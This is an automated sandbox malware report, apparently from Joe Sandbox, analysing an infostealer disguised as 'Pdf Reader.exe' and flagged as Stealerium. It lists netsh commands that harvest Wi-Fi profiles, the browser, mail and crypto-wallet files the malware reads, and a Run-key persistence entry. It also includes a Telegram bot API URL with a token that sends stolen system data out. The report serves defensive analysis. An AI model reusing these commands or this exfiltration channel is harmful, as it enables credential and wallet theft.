Source: Pdf Reader.exe.0.dr	Binary or memory string: vmicheartbeat
Source: Pdf Reader.exe, 0000000E.00000002.2048273143.000001D9EF9A0000.00000004.00000020.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2123434885.0000029F73AC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Pdf Reader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: Pdf Reader.exe, Decryptor.cs	Reference to suspicious API methods: WinApi.LoadLibrary(sPath + "\\mozglue.dll")
Source: Pdf Reader.exe, Decryptor.cs	Reference to suspicious API methods: WinApi.GetProcAddress(_hNss3, "NSS_Init")
Source: Pdf Reader.exe, Keylogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)

Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Source: C:\Users\user\Desktop\Pdf Reader.exe	Queries volume information: C:\Users\user\Desktop\Pdf Reader.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Queries volume information: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Queries volume information: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Stealerium

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 4com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 3C:\Users\user\AppData\Roaming\Exodus\exodus.wallet2b
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 0C:\Users\user\AppData\Roaming\Ethereum\keystore2b
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: &C:\Users\user\AppData\Roaming\Binance2b
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 4C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets2b
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Pdf Reader.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Remote Access Functionality

Yara detected Stealerium

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	124 System Information Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 Query Registry	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	11 Obfuscated Files or Information	Security Account Manager	431 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	1 Input Capture	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	1 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pdf Reader.exe	53%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
Pdf Reader.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	53%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook

Name	IP	Active	Malicious	Reputation
store4.gofile.io	31.14.70.245	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high
api.telegram.org	149.154.167.220	true	false	high
api.gofile.io	45.112.123.126	true	false	high
icanhazip.com	104.16.184.241	true	false	high
82.148.8.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt	false	high
https://api.gofile.io/servers	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt	false	high
http://icanhazip.com/	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt	false	high
https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/getMe	false	high
https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224073938&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.6.3%20-%20Report%3A%2A%0ADate%3A%202024-12-03%204%3A28%3A04%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20562258%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20CSS15%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History%3A%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Startup%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Clipper%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Keylogger%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FRowtbR%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%2254e993cd601b6d47a6e2abdb25bce1bf%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt	false	high
https://store4.gofile.io/uploadfile	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.gofile.io	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A8005E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://gofile.io/d/RowtbR)	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80091000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	tmp6F88.tmp.dat.0.dr	false	high
https://duckduckgo.com/ac/?q=	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://api.telegram.org	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://api.telegram.org/bot	Pdf Reader.exe, Pdf Reader.exe.0.dr	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/proces	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store4.gofile.io	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercont	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/gp	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/ip	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D98061C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmp6F88.tmp.dat.0.dr	false	high
https://ac.ecosia.org/autocomplete?q=	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://gofile.io/d/RowtbR	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80095000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/	Pdf Reader.exe, Pdf Reader.exe.0.dr	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/Machin	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D98061C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980620000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00072000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00620000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0061E000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00622000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
http://raw.githubusercontent.com	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980061000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00072000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0005A000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00063000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org	tmp6F88.tmp.dat.0.dr	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	false	high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_usernam	Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.16.184.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
45.112.123.126	api.gofile.io	Singapore	16509	AMAZON-02US	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
31.14.70.245	store4.gofile.io	Virgin Islands (BRITISH)	199483	LINKER-ASFR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567243
Start date and time:	2024-12-03 10:27:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Pdf Reader.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@20/109@10/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 89% Number of executed functions: 117 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Pdf Reader.exe, PID 4812 because it is empty
Execution Graph export aborted for target Pdf Reader.exe, PID 7384 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Pdf Reader.exe

Simulations

Behavior and APIs

Time	Type	Description
04:28:05	API Interceptor	8837449x Sleep call for process: Pdf Reader.exe modified
09:28:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Pdf Reader C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe
09:28:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Pdf Reader C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
